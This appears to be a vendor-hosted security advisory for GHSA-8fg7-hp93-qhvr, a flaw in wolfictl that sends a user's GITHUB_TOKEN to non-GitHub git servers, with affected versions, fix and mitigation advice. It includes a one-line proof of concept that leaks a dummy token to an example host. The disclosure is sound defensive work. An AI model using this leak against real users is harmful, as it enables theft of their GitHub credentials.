GHSA-8fg7-hp93-qhvr is a medium-severity (CVSS 4.4) CWE-552 vulnerability in github.com/wolfi-dev/wolfictl. A fix is available for github.com/wolfi-dev/wolfictl — see the affected versions and patch details below.
wolfictl leaks GitHub tokens to remote non-GitHub git servers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8fg7-hp93-qhvr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8fg7-hp93-qhvr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/wolfi-dev/wolfictlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A git authentication issue allows a local user’s GitHub token to be sent to remote servers other than github.com.
Details
Most git-dependent functionality in wolfictl relies on its own git package, which contains centralized logic for implementing interactions with git repositories. Some of this functionality requires authentication in order to access private repositories. There’s a central function GetGitAuth:
This looks for a GitHub token in the environment variable GITHUB_TOKEN and returns it as an HTTP basic auth object to be used with the github.com/go-git/go-git/v5 library.
Most callers (direct or indirect) of GetGitAuth use the token to authenticate to github.com only; however, in some cases callers were passing this authentication without checking that the remote git repository was hosted on github.com.
Issue 1
One of these callers processed git URLs from Melange package configurations, cloning the package’s upstream repository in order to determine which project dependencies have been upgraded since the prior update.
This issue affects the command wolfictl check update, and the set of remote git hosts is a function of the Melange package configuration files residing in the local directory specified in the command.
Issue 2
Another caller processes a git URL received as a command line argument and clones the repository to look for new available versions of the given project.
This issue affects the command wolfictl update.
This behavior has existed in one form or another since https://github.com/wolfi-dev/wolfictl/commit/0d06e1578300327c212dda26a5ab31d09352b9d0 - committed January 25, 2023.
PoC
GITHUB_TOKEN=test wolfictl update http://git.example.com/
Examining traffic sent to the remote server will show that the HTTP Authorization header contains test in base64 encoded format.
Impact
This impacts anyone who ran the wolfictl check update commands with a Melange configuration that included a git-checkout directive step that referenced a git repository not hosted on github.com.
This also impacts anyone who ran wolfictl update <url> with a remote URL outside of github.com.
Additionally, these subcommands must have run with the GITHUB_TOKEN environment variable set to a valid GitHub token.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/wolfi-dev/wolfictl | all versions | 0.16.10go get github.com/wolfi-dev/wolfictl@v0.16.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/wolfi-dev/wolfictl, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/wolfi-dev/wolfictl to 0.16.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8fg7-hp93-qhvr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8fg7-hp93-qhvr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8fg7-hp93-qhvr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8fg7-hp93-qhvr in your dependencies?
O3 Security finds GHSA-8fg7-hp93-qhvr across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.